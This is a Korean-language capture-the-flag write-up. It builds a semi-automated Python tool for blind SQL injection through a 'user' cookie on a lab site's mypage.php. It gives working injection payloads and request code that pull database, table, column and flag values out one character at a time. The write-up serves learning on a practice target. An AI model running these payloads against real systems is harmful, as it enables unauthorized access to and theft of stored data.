SQL Injection Point1 : auto tool (Python)

DATE : 2023/12/19

이전에 SQLi 문제를 풀 때는 전부 수동으로 하나 하나 값을 넣어가면서 FLAG를 완성했던 기억이..

오늘은 상황에 알맞게 코드를 작성해 반자동(?)으로 문제를 해결해볼 것이다!

일단 코드를 작성하기 위해서는 어떤 부분을 공략해 SQL의 결과를 참과 거짓으로 구분할 수 있는 지 💡

정확히 파악해두어야 한다.

SQL Injection Point1에서 파악하기를 이번 문제의 SQLi Point는 mypage.php이다.

cookie 값을 창구로 삼아 우리가 원하는 SQL을 주입할 수 있다고 판단했고

그 결과로 SQL이 참이면 모든 정보가 출력,

거짓이면 두 번째 칸의 문구가 출력 되지 않는다는 점까지 파악하고 넘어가자.

1] DB 이름 길이 파악하기

SQLi Point를 파악한 후에 가장 먼저 추출할 정보는 바로, DB 이름이다.

DB 이름을 알아내기 위해서 사용할 Query는 아래와 같다.

select database()

이제 이 Query를 참과 거짓을 구별할 수 있는 형태로 잘~ 넣어줘야 한다.

그러기 위해 cookie에 작성할 기본적인 SQL 구조를 작성해보면

cookie : user=hanhxx' and () and '1'='1

이와 같을 것이다.

이로써 괄호 안에 들어가는 Query의 결과에 따라

cookie : user=hanhxx' and (1=1) and '1'='1   =>   user=hanhxx
cookie : user=hanhxx' and (1=2) and '1'='1   =>   user=False 

응답을 달리 받을 수 있다.

그렇다면 다음으로 괄호 안에 넣어줄 Query를 작성해보자!!

ascii(substr((select database()),1,1)) = ascii('ALPHABET')

응답의 차이로 SQL의 참과 거짓 결과를 구분한다는 건, Blind SQLi를 수행한다는 의미이다.

따라서 데이터의 한 글자 한 글자를 파악해 조합해줄 필요가 있다.

그 과정에서 첫 번째 문자가 a이냐, b 이냐... 와 같은 과정을 반복하기 위해 ascii() & substr()을 사용할 것!

또한 참과 거짓을 확실하게 구분하기 위해 둘 중 한 경우에는 문제를 일으켜야(?) 한다.

아래의 Query를 가지고 한 번 고민해보자.

select 1 union select 2 where (____)

만약 괄호에 들어가는 Query의 결과가 참이라면 어떻게 될까??

select 1 union select 2 where true

그렇게 되면 SELECT 2가 실행되면서 이 Query의 결과는 [[1],[2]]와 같은 구조가 된다.

반대로 괄호에 들어가는 Query의 결과가 거짓이라면

select 1 union select 2 where false

UNION 뒤에 작성된 SELECT문은 없는 셈 치면서 결과로는 1이 나오게 된다.

1. hanhxx' and (select 1 union select 2 where true) and '1'='1
: hanhxx' and [[1],[2]] and '1'='1
: error!

2. hanhxx' and (select 1 union select 2 where false) and '1'='1
: hanhxx' and 1 and '1'='1
: hanhxx

각각의 경우 Query를 cookie에 적용하게 되면 위와 같이 결과가 달리 나오게 될 것이다.

따라서! 우리는 이 Query 중 true( or false) 자리에 원하는 조건문을 넣음으로써

hanhxx' and (select 1 union select 2 where (ascii(substr((select database()),1,1)) = ascii('ALPHABET'))) and '1'='1

모든 정보가 정상적으로 출력 되면 조건문의 결과가 거짓,

두 번째 칸의 내용이 출력 되지 않으면 조건문의 결과가 참임을 알아낼 수 있게 되는 것이다.

이를 고려해 DB 이름이 몇 글자인지 알아내는 코드를 작성하게 되면 아래와 같다.

def getDBLength():
    length = 1
    while True:
        url = 'http://ctf.segfaulthub.com:7777/sqli_6/mypage.php'
        cookie = {"user":"hanhxx' and (select 1 union select 2 where (length(database()) ="+str(length)+")) and'1'='1","session":session,"PHPSESSID":PHP_session}
        resp = requests.get(url=url, cookies=cookie)
        
        if "Nothing Here" in resp.text:
            length += 1
        else:
            return length

현재 SQLi Point가 존재하는 페이지는 mypage.php이고

cookie user를 통해 Query를 주입할 것이기 때문에 변수 cookie에 위에서 작성한 형태의 SQL을 넣어준다.

또한, 이때 서버에게 요청을 보내는 방법이 get method이기 때문에

requests.get을 사용하고 있음을 볼 수 있다.

hanhxx' and (select 1 union select 2 where (length(database()) ="+str(length)+")) and'1'='1

주입한 Query 내용을 살펴보면 length와 database() 결과의 길이를 비교해

이 조건의 결과가 참이라면 "Nothing Here" 문구가 response에 없을 테니 현재 length를 반환하고

이 조건의 결과가 거짓이면 "Nothing Here" 문구가 response에 있을 테니 현재 length에 1을 더한다.

(조건이 틀렸다는 건, 현재 length 값이 database() 결과의 길이가 아니라는 뜻이므로

1씩 증가 시키면서 길이를 비교해보는 것)

2] DB 이름 알아내기

DB 이름이 몇 글자인지 파악했다면 이젠 그 길이 만큼만 반복하면서 각 자리의 문자를 파악하면 된다.

def getDBName():
    length = getDBLength()
    print("DB name : "+str(length)+"글자")
    chs = string.ascii_lowercase+string.ascii_uppercase+string.digits+'{_}!@#$%^&*()?'
    data = ''

    for i in range(1,length+1):
        for alpha in chs:
            # print(alpha)
            url = "http://ctf.segfaulthub.com:7777/sqli_6/mypage.php"
            cookie = {"user":"hanhxx' and (select 1 union select 2 where ((ascii(substr((select database()),"+str(i)+",1))=ascii('"+alpha+"')))) and'1'='1","session":session, "PHPSESSID":PHP_session}
            resp = requests.get(url=url, cookies=cookie)

            if "Nothing Here" in resp.text:
                continue
            else:
                data += alpha
                break
    
    print(data)
    return data

getDBLength 함수의 결과를 length에 할당해 for문의 범위를 지정하는 데 사용한다.

getDBName 함수의 내용은 getDBLength와 거의 비슷하다.

다만 실행하는 Query가 달라지므로 cookie user에 주입한 SQL이 달라지게 된다는 정도?!

hanhxx' and (select 1 union select 2 where ((ascii(substr((select database()),"+str(i)+",1))=ascii('"+alpha+"')))) and'1'='1

총 length번 반복하면서 DB 이름의 첫 번째 문자부터 알아내는 Query이다.

ascii(substr((select database()),"+str(i)+",1))

database() 결과의 첫 번째 문자부터 잘라내 그 값을

ascii(substr((select database()),"+str(i)+",1))=ascii('"+alpha+"')

chs에 넣어둔 문자와 하나씩 비교해가면서 일치하는 경우에만 data에 alpha 문자를 붙여 넣는다.

(= [[1],[2]]가 반환 돼서 " Nothing Here" 안 나옴)

이렇게 해서! 작성한 함수를 실행하면

작성한 코드가 DB 이름을 알아내서 알려줄 것이다!!

3] Table 이름 길이 파악하기

Table 이름을 알아내기 전에 위에서 했던 거처럼 Table 이름이 몇 글자인지 파악하고자 한다.

"user":"hanhxx' and (select 1 union select 2 where ((select length(table_name) from information_schema.tables where table_schema='"+DB_name+"' limit "+Table_num+",1)="+str(length)+")) and '1'='1

이번에도 length와 length()의 결과를 비교해가면서 결과가 참일 때, length를 반환하도록 한다.

이때 getDBLength와 차이점이 있다면 Table, Column, Data는 여러 개 들어있을 수 있기 때문에

limit를 작성하기 위한 변수를 사용자로부터 입력 받는다는 점과

Query에 사용하기 위해 앞에서 알아낸 DB name을 전달해줘야 한다는 점이다.

4] Table 이름 알아내기

hanhxx' and (select 1 union select 2 where ((ascii(substr((select table_name from information_schema.tables where table_schema='"+DB_name+"' limit "+Table_num+",1),"+str(i)+",1))=ascii('"+alpha+"')))) and'1'='1

사용자가 "N번째 Table 이름을 알아내!"라고 값을 입력하면 (= 변수 Table_num)

해당 순서의 Table 이름을 알아내기 위와 같은 SQL이 주입 된다.

여기까지 결과를 확인해보면

사용자가 지정해준 순번의 Table 이름을 알아내

Table 이름과 총 글자 수를 출력해주고 있는 걸 볼 수 있다.

5] Column 이름 길이 파악하기

우리의 목표는 FLAG를 찾는 것이기 때문에 flag_table에 어떤 Column이 있는지 확인할 것이다.

"user" : "hanhxx' and (select 1 union select 2 where ((select length(column_name) from information_schema.columns where table_name='"+Table_name+"' limit "+Column_num+",1)="+str(length)+")) and '1'='1"

Column 이름의 길이를 파악하기 위해 Query를 작성하면 위와 같은데

이떄도 마찬가지로 몇 번째 column에 대해 알아낼 것 인지를 의미하는 Column_num과

방금 전에 알아낸 Table 이름을 넘겨줘야 Query를 정상적으로 실행할 수 있다!

6] Column 이름 알아내기

5]번 과정을 통해 Column 이름이 몇 글자인지 알아냈다면 이를 가지고

각 자리의 문자가 어떤 문자인지 알아내는 과정을 거치게 된다.

이때 실행할 Query는 아래와 같다.

"user" : "hanhxx' and (select 1 union select 2 where ((ascii(substr((select column_name from information_schema.columns where table_name='"+Table_name+"' limit "+Column_num+",1),"+str(i)+",1))=ascii('"+alpha+"')))) and'1'='1"

1] ~ 6] 과정을 실행한 결과를 확인해보면

TABLE flag_table안에는 idx, flag라는 COLUMN이 들어있음을 알 수 있다.

그렇다면 아마 FLAG가 들어있을 거라 추정되는 flag column에서 데이터를 추출하면 될 듯!!

7] 데이터 길이 파악하기

이제 마지막 단계이다!

데이터를 추출하기 위해서 앞에서 알아낸 column_name & table_name을 전달해

실행한 Query를 Cookie user 부분에 작성해준다.

"user":"hanhxx' and (select 1 union select 2 where (((select length("+Column_name+") from "+Table_name+" limit "+Data_num+",1)="+str(length)+"))) and '1'='1

하나의 column 안에 여러 개의 데이터가 들어있을 수 있기 때문에

앞선 과정과 마찬가지로 몇 번째 데이터에 대해 정보를 알아낼 것 인지 지정하는 Data_num 값을

사용자로부터 입력 받아야 한다.

8] 데이터 알아내기

데이터 길이를 알아냈다면, 길이만큼 반복하며 각 자리의 문자가 무엇인지 알아내기만 하면 된다. 😏

"user":"hanhxx' and (select 1 union select 2 where ((ascii(substr((select "+Column_name+" from "+Table_name+" limit "+Data_num+",1),"+str(i)+",1))=ascii('"+alpha+"')))) and'1'='1

Query 내용을 위와 같이 작성해 데이터를 추출해내는 함수를 만들어주면 준비는 끝!

이제 DB name을 알아내는 함수부터 순서대로 실행해주면

숨겨진 FLAG를 찾아낼 수 있다!!

FLAG 위치

DB : 6글자 sqli_6

Table : 10글자 falg_table

Column : 4글자 flag

flag Column의 2번째 줄 : 24글자 __FLAG__

Last updated